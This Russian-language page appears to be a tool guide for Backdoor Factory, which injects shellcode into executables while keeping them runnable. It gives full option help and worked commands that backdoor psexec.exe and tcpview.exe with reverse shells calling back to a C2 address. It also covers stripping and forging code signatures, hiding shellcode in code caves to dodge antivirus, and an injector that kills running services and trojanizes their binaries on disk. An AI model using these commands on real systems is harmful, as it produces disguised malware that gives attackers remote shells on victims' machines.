Средство для патча шеллкодом - Backdoor Factory (BDF)
Life-Hack [Жизнь-Взлом]/ХакингBackdoor Factory (BDF) патчит шеллкодом исполнимые файлы PE, ELF, Mach-O.
Цель BDF – это пропатчить исполнимые бинарники желаемым шеллкодом и сохранить их нормальное выполнение как в до пропатченном состоянии.
Поддерживаются: Windows PE x32/x64 и Linux ELF x32/x64 (System V).
Некоторые исполнимые файлы имеют встроенные защиты, т.е. программа будет срабатывать не на всех бинарниках. Рекомендуется тестировать исполнимые файлы перед распространением файлов на клиентские машины или использовании в упражнении.
Особенности:
PE файлы
- Может найти codecaves в EXE/DLL.
- По умолчанию очищает указатель на таблицу PE сертификатов, следовательно, снимает подпись с исполнимого файла.
- Может сделать инжект шеллкода внутрь code caves или в новую секцию.
- Может найти, должен ли исполнимый файл PE запускаться с повышенными привилегиями.
- При выборе code caves, вы можете использовать следующие команды:
- -Jump (j), для прыжка code cave
- -Single (s), для патчинга всего вашего шеллкода в одну code cave
- -Append (a), для создания code cave
- -Ignore (i или q), игнорировать этот бинарник
- Может игнорировать DLLs
- Импорт таблицы парчинга
- AutoPatching (-m automtic)
- Onionduke (-m onionduke)
ELF файлы
- Добавление 1000 байт (в байтах) к TEXT SEGMENT (текстовому сегменту) и инжект в эту секцию кода шеллкода.
Mach-O файлы
- Патчинг Pre-Text Section и удаление подписи
В общем и целом
Пользователь может:
- Предоставить пользовательский шеллкод.
- Патчить директорию исполнимых файлов/dll.
- Выбрать для патча только исполнимые файлы x32 или x64.
- Включить BDF в другие проекты на Python, смотрите pebin.py и elfbin.py
Домашняя страница: https://github.com/secretsquirrel/the-backdoor-factory
Автор: Joshua Pitts
Лицензия: GPLv3
Справка по Backdoor Factory
Использование:
backdoor.py [опции]
Опции:
-h, --help показать справку и выйти
-f ФАЙЛ, --file=ФАЙЛ ФАЙЛ для бэкдора
-s ШЕЛЛ, --shell=ШЕЛЛ
Полезные нагрузки, доступные для использования.
Используйте 'show' для просмотра полезных нагрузок.
-H ХОСТ, --hostip=ХОСТ
IP от C2 для обратного подключения.
-P ПОРТ, --port=ПОРТ Это порт как для обратного подключения в
обратном шелле, так и для прослушивания на связанном шелле
-J, --cave_jumping Выберите эту опцию, если вы хотите использовать code cave
jumping для дальнейшего скрытия шеллкода в бинарнике.
-a, --add_new_section
Указание добавлять новую секцию в exe
(лучший успех) но меньше шансов избежать антивирусы
-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE
Переданный пользователем шеллкод, убедитесь, что
соответствует архитектуре цели.
-c, --cave Флаг cave найдёт code caves, которые могут использоваться
для припрятывания шеллкода. Это выведет все
code caves указанного размера.
С этой настройкой можно использовать флаг -l.
-l SHELL_LEN, --shell_length=SHELL_LEN
Для использования с -c в помощи поиска code caves
различных размеров
-o ВЫВОД, --output-file=ВЫВОД
Файл выводао для бэкдора
-n NSECTION, --section=NSECTION
Имя новой специи, должно быть менее семи символов
-d ДИРЕКТОРИЯ, --directory=ДИРЕКТОРИЯ
Это расположение файлов, которые вы хотите
забэкдорить. Вы можете ускорить внедрение бэкдоров
принудительным вложением codecave в
exe используя настройку -a.
-w, --change_access Этот флаг меняет раздел, где находится codecave
на RWE. Иногда это необходимо. По умолчанию включено.
Если отключить, то backdoor может потерпеть неудачу.
-i, --injector Эта команда включает вbackdoor factory механизм
охоты и бэкдора (Hunt and backdoor: Injector).
Отредактируйте настройки цели в модуле инжектора.
-u СУФФИКС, --suffix=СУФФИКС
Для использования с инжектором, добавить суффикс к
оригинальному имени файла для простого восстановления
-D, --delete_original
Для использования с модулем инжектора. Эта команда удаляет
оригинальный файл. Не для использования в рабочих системах.
*Автор не несёт ответственности за тупое использование.*
-O DISK_OFFSET, --disk_offset=DISK_OFFSET
Начальная точка дискового смещения. Некоторые авторы
обфусцируют дисковым смещением для избегания
обратной инженерии, если вы нашли один из этих файлов,
то используйте этот флаг после нахождения смещения.
-S, --support_check Определить, поддерживается ли файл BDF до
бэкдоринга файла. Используйте как есть или в вербальном
режиме. Эта проверка проводится автоматически при
попытке встроить в файл бэкдор.
-M, --cave-miner Будущее использование, для определения самого
маленького шеллкода, возможного в файле PE
-q, --no_banner Убивает банер.
-v, --verbose Для вывода отладочной информации.
-T IMAGE_TYPE, --image-type=IMAGE_TYPE
ALL, x86, или x64 (тип исполнимых файлов). По умолчанию=ALL
-Z, --zero_cert Разрешает перезапись указателя на PE
таблицу сертификатов, эффективно удаляя сертификат
из двоичного файла для всех намерений и целей
-R, --runas_admin ЭКСПЕРИМЕНТАЛЬНАЯ Проверяет бинарники PE
на 'requestedExecutionLevel level="highestAvailable"'. Если
эта строка включена в бинарник, то он должен запускаться от
системы/админа. Если не в режиме Support Check mode
то будет сделана попытка проптчить highestAvailable в manifest
если существует запись requestedExecutionLevel.
-L, --patch_dll Используйте эту настройку если вы НЕ хотите патчить DLL.
По умолчанию они патчатся.
-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY
Для формата MACH-O. Если fat файл, фокус на какую архитектуру
патч. По умолчанию это x64. Для принудительного x86 используйте -F x86,
для принудительного выбора обеих архитектур используйте -F ALL.
-B BEACON, --beacon=BEACON
Для полезных нагрузок с функцией прозвона,
установить время в секундах
-m PATCH_METHOD, --patch-method=PATCH_METHOD
Метод патча для файлов PE, 'manual','automatic',
replace и onionduke
-b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY
Для onionduke. Укажите ваш желаемый бинарник.
-X, --xp_mode По умолчанию: НЕ поддерживать устаревшие
машины XP, используйте -X для поддержки XP. По
умолчанию бинарники будут останавливаться на XP
машинах (например, песочницы)
-A, --idt_in_cave ЭКСПЕРИМЕНТАЛЬНАЯ По умолчанию новый Import Directory Table
создаётся в новой секции, вызвав этот флаг
он будет размещён в code cave. Это может привести к вылету
исполнимого файла в некоторых обстоятельствах. Сперва протестируйте на целевых бинарников.
-C, --code_sign Только для тех, кто с сертификатами для подписи кода хочет подписать PE
исполнимые файлы. Укажите ваш ключ подписи и
приватный ключ, signingcert.cer и signingPrivateKey.pem
соответственно в директории сертификатов, получение
подписных сертификатов это ваша проблема.
Руководство по Backdoor Factory
Страница man отсутствует.
Примеры запуска Backdoor Factory
Патчить exe/dll используя существующий code cave:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp [*] In the backdoor module [*] Checking if binary is supported [*] Gathering file info [*] Reading win32 entry instructions [*] Looking for and setting selected shellcode [*] Creating win32 resume execution stub [*] Looking for caves that will fit the minimum shellcode length of 402 [*] All caves lengths: (402,) ############################################################ The following caves can be used to inject code and possibly continue execution. **Don't like what you see? Use jump, single, append, or ignore.** ############################################################ [*] Cave 1 length as int: 402 [*] Available caves: 1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507 2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492 3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501 4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492 5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505 6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498 7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495 8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505 9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559 10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559 ************************************************** [!] Enter your selection: 5 Using selection: 5 [*] Changing Section Flags [*] Patching initial entry instructions [*] Creating win32 resume execution stub [*] Overwriting certificate table pointer [*] psexec.exe backdooring complete File psexec.exe is in the 'backdoored' directory
Патчить exe/dll добавлением новой секции кода:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a [*] In the backdoor module [*] Checking if binary is supported [*] Gathering file info [*] Reading win32 entry instructions [*] Looking for and setting selected shellcode [*] Creating win32 resume execution stub [*] Creating Code Cave - Adding a new section to the exe/dll for shellcode injection [*] Patching initial entry instructions [*] Creating win32 resume execution stub [*] Overwriting certificate table pointer [*] psexec.exe backdooring complete File psexec.exe is in the 'backdoored' directory
Патчить директорию с exe:
./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...вывод слишком длинный для этой страницы...
Указанный пользователь шеллкод:
msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.
PEcodeSigning
BDF может подписывать PE файлы если у вас есть сертификат для подписи кода (codesigning). Разместите ваш сертификат и приватный ключ в директорию certs/. Подготовьте ваш сертификат используя команду openssl: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html
Разместите пароль вашего приватного ключа (gasp) следующий образом (в точности как здесь):
echo -n yourpassword > certs/passFile.txt
Назовите ваши сертификаты в ТОЧНОСТИ как показано:
signingCert.cer => certs/signingCert.cer signingPrivateKey.pem => certs/signingPrivateKey.pem
Ваша директория certs/ должна в точности выглядеть так:
certs ├── passFile.txt ├── signingPrivateKey.pem └── signingCert.cer
Включите подписывание кода PE флагом -C так:
./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C
При успешном запуске вы должны в выводе BDF увидеть следующую строку:
[*] Code Signing Succeeded
Hunt и backdoor: Injector | Только для Windows
Модуль injector будет искать на диске целевые бинарники для бэкдора. Он будет проверять, определили вы цель как службу, запущен ли процесс, убьёт процесс и/или службу, вставит в выполнимый файл шеллкод, сохранит оригинальный файл в file.exe.old или с другим суффиксом по выбору, попытается перезапустить процесс или службу.
Отредактируйте словарь целей Python "list_of_targets" в модуле 'injector' по своему выбору.
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
Установка Backdoor Factory
Программа предустановлена в Kali Linux.
Установка в BlackArch
Программа предустановлена в BlackArch.
Информация об установке в другие операционные системы будет добавлена позже.
Скриншоты Backdoor Factory
Это утилита командной строки.